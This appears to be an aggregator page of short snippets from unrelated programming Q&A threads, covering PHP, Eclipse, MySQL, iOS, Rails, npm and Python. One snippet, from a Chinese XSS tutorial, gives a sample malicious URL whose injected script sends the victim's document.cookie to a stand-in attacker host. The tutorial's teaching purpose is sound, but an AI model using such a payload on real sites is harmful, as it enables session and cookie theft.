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PHP substring extraction. Get the string before the first '/' or the whole string
...se explode()
$arr = explode("/", $string, 2);
$first = $arr[0];
In this case, I'm using the limit parameter to explode so that php won't scan the string any more than what's needed.
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Eclipse/Java code completion not working
..., unzipped and setup Eclipse 3.4.2 with some plugins (noteable, EPIC, Clearcase, QuantumDB, MisterQ).
23 Answers
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MySQL - Make an existing Field Unique
...ng table with a field that should be unique but is not. I only know this because an entry was made into the table that had the same value as another, already existing, entry and this caused problems.
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Web安全测试之XSS - 更多技术 - 清泛网 - 专注C/C++及内核技术
...构造一个恶意的url(如下), 通过某种方式(邮件，QQ)发给Monica
http://victim.com/search.asp?term=<script>window.open("http://badguy.com?cookie="+document.cookie)</script>
Monica点击了这个URL， 嵌入在URL中的恶意Javascript代码就会在Monica的浏览器中执行. 那...
Is there a way to hide the scroll indicators in a UIScrollView?
I've got a use case where those indicators disturb the user interaction. Can I subclass and override a method or do something similar to remove the scroll indicators from the scroll view?
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How to update attributes without validation
I've got a model with its validations, and I found out that I can't update an attribute without validating the object before.
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Print a list of all installed node.js modules
...o print all node.js modules (installed using npm) to the command line. How can I do this?
7 Answers
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UITextField auto-capitalization type - iPhone App
Is there a way to set the autocapitalizationType for a UITextField so that the first letter of each word is capitalized by default?
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Unable to load Private Key. (PEM routines:PEM_read_bio:no start line:pem_lib.c:648:Expecting: ANY PR
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Use Visual Studio Code - you can easily change the encoding using the bottom toolbar!
– Luca Ghersi
Jan 21 at 17:25
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ImportError: No module named six
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You probably don't have the six Python module installed. You can find it on pypi.
To install it:
$ easy_install six
(if you have pip installed, use pip install six instead)
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